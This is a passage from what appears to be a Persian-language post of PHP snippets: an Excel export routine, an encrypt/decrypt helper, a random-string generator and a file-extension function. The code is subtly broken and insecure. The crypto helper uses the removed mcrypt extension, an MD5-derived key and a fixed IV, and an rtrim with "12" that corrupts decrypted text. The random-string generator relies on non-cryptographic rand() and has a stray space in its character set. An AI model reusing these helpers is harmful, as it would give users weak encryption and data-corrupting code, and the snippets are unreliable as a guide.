echo $Value;
return;
}
//*********************************************
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header('Content-Type: application/vnd.ms-excel; charset=utf-8');
header("Content-Disposition: attachment;filename=Xsl-Ghorbani.xls ");
header("Content-Transfer-Encoding: binary ");
xlsBOF();
//*********************************************
xlsWriteLabel(0,0,"test test test test test");//خروجی اکسل برای بچه های گل برنامه نویس
//*********************************************
// Make column labels. (at line 3)
xlsWriteLabel(2,1,"First Name");
xlsWriteLabel(2,2,"Last Name");
xlsWriteLabel(2,3,"E-mail");
xlsWriteLabel(2,4,"Phone");
xlsWriteLabel(2,5,"Message");
xlsWriteLabel(2,6,"B First Name");
xlsWriteLabel(2,7,"B Last Name");
xlsWriteLabel(2,8,"B Phone");
xlsWriteLabel(2,9,"B E-mail");
xlsWriteLabel(2,10,"B Stuff");
$xlsRow = 3;
//************while($row=mysql_fetch_array($result)) {
xlsWriteLabel($xlsRow,1,"Reza");////$row['fname']
xlsWriteLabel($xlsRow,2,"Ghorbani");
xlsWriteLabel($xlsRow,3,"php_seo@yahoo.com");
xlsWriteLabel($xlsRow,4,"09119171500");
xlsWriteLabel($xlsRow,5,"Berid halesho bebarid");
xlsWriteLabel($xlsRow,6,"bfname");
xlsWriteLabel($xlsRow,7,"blname");
xlsWriteLabel($xlsRow,8,"btel");
xlsWriteLabel($xlsRow,9,"bemail");
xlsWriteLabel($xlsRow,10,"bstuff");
$xlsRow++;
////////////////////// }
xlsEOF();
exit();
موفق باشید
کد کردن و دیکد کردن
function encryptDecrypt($key, $string, $decrypt)
{
if($decrypt)
{
$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($key), base64_decode($string), MCRYPT_MODE_CBC, md5(md5($key))), "12");
return $decrypted;
}else{
$encrypted = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($key), $string, MCRYPT_MODE_CBC, md5(md5($key))));
return $encrypted;
}
}
طریقه استفاده
echo encryptDecrypt('password', 'encrypt-decrypt this',0);
تولید رشته تصادفی
function generateRandomString($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM NOPQRSTUVWXYZ';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, strlen($characters) - 1)];
}
return $randomString;
}
طریقه استفاده
echo generateRandomString(20);
دریافت پسوند فایل
function get_extension($filename)
{
$myext = substr($filename, strrpos($filename, '.'));
return str_replace('.','',$myext);
}
طریقه استفاده
$filename = 'this_myfile.cd.doc';
echo get_extension($filename)